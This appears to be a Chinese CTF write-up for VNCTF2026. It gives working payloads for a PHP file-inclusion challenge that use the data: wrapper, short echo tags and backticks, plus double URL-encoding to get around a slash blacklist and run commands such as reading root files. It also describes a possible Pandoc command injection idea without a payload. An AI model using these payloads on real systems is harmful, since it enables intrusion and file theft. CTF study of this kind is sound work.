VNCTF2026

本文最后更新于 2026年2月1日 中午

还是太菜了,就会做签到

signin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);

$blacklist = ['/', 'convert', 'base', 'text', 'plain'];

$file = $_GET['file'];

foreach ($blacklist as $banned) {
if (strpos($file, $banned) !== false) {
die("这个是不允许的哦~");
}
}

if (isset($file) && strlen($file) <= 20){
include $file;
};

strpos大小写敏感,所以后面的关键字可以大小写绕过,但是过滤了/就比较难受了

data:// 协议可以不用//

使用 <?= 来代替 <?php 以节省空间

1
?file=data:,<?=`env`;

现在可以执行命令了,但是还是访问不了根目录,尝试GET传参

1
/?file=data:,<?=`$_GET[1]`;&1=cat /*

当然也可以二次url编码 /

1
/?file=data:,<?=`nl %252f*`?>

Markdown2World

不会做,但是可以简单写下思路

一个基于Pandoc的文档转换器

前端将上传的文件和格式参数传给convert.php,后端会调用 Pandoc 命令完成转换,格式大概是:

1
pandoc -s 上传的文件路径 -f 源格式 -t 目标格式 -o 输出文件路径

而 Pandoc 本身支持从 URL 读取输入调用外部命令,再加上如果后端对上传的文件名/传递的格式参数没有做严格过滤,就会造成命令注入漏洞


VNCTF2026
https://www.sunynov.top/2026/01/31/VNCTF2026/
作者
suny
发布于
2026年1月31日
许可协议